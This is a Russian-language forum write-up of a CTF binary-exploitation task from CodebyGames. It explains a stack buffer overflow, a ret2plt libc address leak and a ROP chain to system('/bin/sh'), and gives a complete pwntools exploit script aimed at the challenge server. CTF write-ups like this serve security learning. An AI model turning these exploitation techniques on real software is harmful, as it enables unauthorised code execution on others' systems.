• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN CTF CODEBY PWN Цепи. Выпей, с нами пива, парень! Не стесняйся, пей скорей!

AFANX

CD-диск
Пользователь
Регистрация
24.11.2022
Сообщения
13
Реакции
34
1712991274555.png


Ку, киберпанки! Сегодня будет раcсмотрена атака, основанная на уязвимости переполнения буффера, ret2plt и дальнейшее получение RCE. Таск был взят с платформы CodebyGames. Думаю, что для тех, кто не прочь поразмять немного кости - статья будет полезной.

1712991322695.png


Описание почти ни о чем не говорит. Только лишь о том, что используется много цепочек и, очевидно, что необходимо будет составлять ROP-цепочки.

Изучаем бинарь​

Первичный анализ, по крайней мере у меня, начинается так:
  1. file - узнаем информацию о файле
  2. strings - узнаем все строки в программе
  3. checksec - узнаем о первичных защитах бинаря
  4. xxd binary | grep "UPX" - узнаем о том, что упакован бинарь UPX или нет
Через команду file ничего нового не узнаем - стандартный эльфарь:

1712991407187.png


Через strings увидим интересную строку - Enter your name:

1712991433121.png


Через checksec видим, что отключена защита стека и отключена рандомизация адресов:

1712991469362.png


UPX также необнаружен:

1712991493801.png


Подытожим: имеется обычный эльфарь, в котором нет канарейки и рандомизации адресов, что наводит на мысль о том, что скорее всего есть переполнение. Строка Enter your name может навести на мысль, что в этом месте будет переполняха.
Теперь поиграемся с сервисом.

Играем с сервисом​

Запускаем и видим найденную строчку, куда вводим имя:

1712991538356.png


Дальше попадаем в игрушку:

1712991555418.png


Но там уже мимоход - нет ничего интересного. Попробуем переполнить место, где вводим имя:

1712991589391.png


Отлично! Нашли багу! Это место является уязвимым теперь приступим к реверсу


Реверс​

Реверс программы будет осуществляться в IDA Pro. Начну реверс с поиска строки Enter your name:

1712991611585.png


По перекрестным ссылкам найду эту уязвимую функцию:

1712992036336.png


Тут все крайне просто. Есть буффер размером 16 байт, куда записываем имя, и адрес возврата 8 байт. В итоге получаем, что для переполнения необходимо 24+1 байт.

Здесь нет никаких функций, которые хоть как-то приводят к RCE или выводу флага. Поэтому единственным способом получить RCE - атака ret2plt.

ret2plt - бесовская атака и ее изюминка в том, что сто проц получим утечку адреса либсы. Суть в том, что мы выводим адрес библиотечной функции. В эльфарях есть такие штуки как .got и .got.plt. Через этих шутов и получается динамическая линковка с библой.

Когда вызывается puts() на языке C и после компиляции получается не puts(), а puts@plt. Прога не знает, где на самом деле находится puts - поэтому вместо этого он переходит к PLT-записи puts. Отсюда puts@plt делает несколько очень специфических вещей:
  1. Если для puts есть запись GOT, он переходит по адресу, хранящемуся там.
  2. Если записи в GOT нет, он решит эту проблему и перейдет туда.
GOT - это массивная таблица адресов; эти адреса - фактические местоположения в памяти функций libc. Например, puts@got будет содержать адрес puts в памяти. Когда вызывается PLT, он считывает адрес GOT и перенаправляет выполнение туда. Если адрес пуст, он координирует работу с ld.so (также называемым динамическим компоновщиком/загрузчиком), чтобы получить адрес функции, и сохраняет его в GOT.
Поэтому в общем виде атака выглядит так: puts@plt(puts@got) --output--> puts@libc

Таким образом, получим утечку либсы.
Ну, что шъ. Примерный алгоритм действий такой:
  1. Переполняем, выполняем ret2plt
  2. Получаем утечку и вычисляем базовый адрес
  3. Возвращаемся в уязвимую функцию
  4. Переполняем еще раз
  5. Получаем RCE
Приступим к разработке плойта.


Пишем эксплойт​

Для того, чтобы выполнить ret2plt нужно знать адреса puts@plt и puts@got:

1712992077742.png

1712992094697.png


Далее необходим гаджет pop rdi; ret. Нужен именно этот, потому что регистр RDI используется как первый аргумент в функциях. Это работает только fastcall. В соглашении о вызове stdcall передача аргументов идет через стек.
Для поиска нужного гаджета использовал тулзу ROPGadget:

1712992118372.png


В принципе, для первой части все есть и реализация этого шага такая:

Python:
PLT_GOT_PUTS = p64(0x401030)
GOT_PUTS = p64(0x404000)
rdi = p64(0x40128a)
ret = p64(0x4014EA)
junk = b'A'*24
payload = junk + rdi + GOT_PUTS + PLT_GOT_PUTS + ret
io.sendline(payload)

for i in range(8):
    io.recvline()

leakedLibc = u64(io.recvline()[-7:-1].ljust(8,b'\x00'))

После запуска получаем такой результат:

1712992169730.png


Теперь вопрос: как узнать базу либсы? Так как последние полтора байта базы libc обычно заканчивается на нули - 000, то по ним можно вычислить версию библиотеки. Есть ресурс, в котором хранятся все библиотеки - libc.rip. Туда вводим последние полтора байта - 0x20f и находим нужную библиотеку:

1712992387300.png


1712992434869.png


Отсюда и получается:
leakedLibc = u64(io.recvline()[-7:-1].ljust(8,b'\x00')) - 0x4d20f

Таким образом, получили утечку базы либсы:

1712992462017.png


Следующий шаг - получение RCE. На скрине с сайта видны адреса строки /bin/sh и функции system(). Строка /bin/sh есть в каждой библиотки libc. Про system() нет смысла говорить - дефолтная функция. И их адреса соответсвенно - LIBC_BASE + 0x919a0 и LIBC_BASE + 0x41d6f. Кусок кода, через который получаем RCE выглядит так:

Python:
rdi = p64(0x40128a)
ret = p64(0x4014EA)
junk = b'A'*24
SYSTEM = p64(LIBC_BASE + 0x41d6f)
BIN_SH = p64(LIBC_BASE + 0x919a0)
payload = junk + rdi + BIN_SH + SYSTEM
io.sendline(payload)

В итоге полный сплойт такой:





Python:
from pwn import *

context.update(arch='i386')
exe = './path/to/binary'
host = args.HOST or '62.173.140.174'
port = int(args.PORT or 27400)

def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals()) 

def leak_libc(junk, rdi, ret):
    PLT_GOT_PUTS = p64(0x401030)
    GOT_PUTS = p64(0x404000)
    payload = junk + rdi + GOT_PUTS + PLT_GOT_PUTS + ret
    io.sendline(payload)
    
    for i in range(8):
        io.recvline()
    
    leakedLibc = u64(io.recvline()[-7:-1].ljust(8,b'\x00'))
    return leakedLibc

def rce(junk, LIBC_BASE, rdi):
    SYSTEM = p64(LIBC_BASE + 0x41d6f)
    BIN_SH = p64(LIBC_BASE + 0x919a0)
    
    payload = junk + rdi + BIN_SH + SYSTEM
    io.sendline(payload)

 

io = start()

POP_RDI_RET = p64(0x40128a)
POP_RDX_RET = p64(0x4014af)
POP_RSI_RET = p64(0x4014ad)
VULN_FUNC = p64(0x4014EA)
junk = b'A'*24
LIBC_BASE = leak_libc(junk, POP_RDI_RET, VULN_FUNC) - 0x4d20f
log.success("LIBC BASE: 0x{:x}".format(LIBC_BASE))
rce(junk, LIBC_BASE, POP_RDI_RET)

io.interactive()

Результат работы эксплойта:

1712992618638.png


Вывод​

В данной статье научились переполнять буффер, реализовывать атаку re2plt и работать с ROP-гаджетами. Думаю, что для новичков в пывне этот таск что надо. Если в кратце, то все пропили, но киберпанк не опозорили.

1712992639517.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх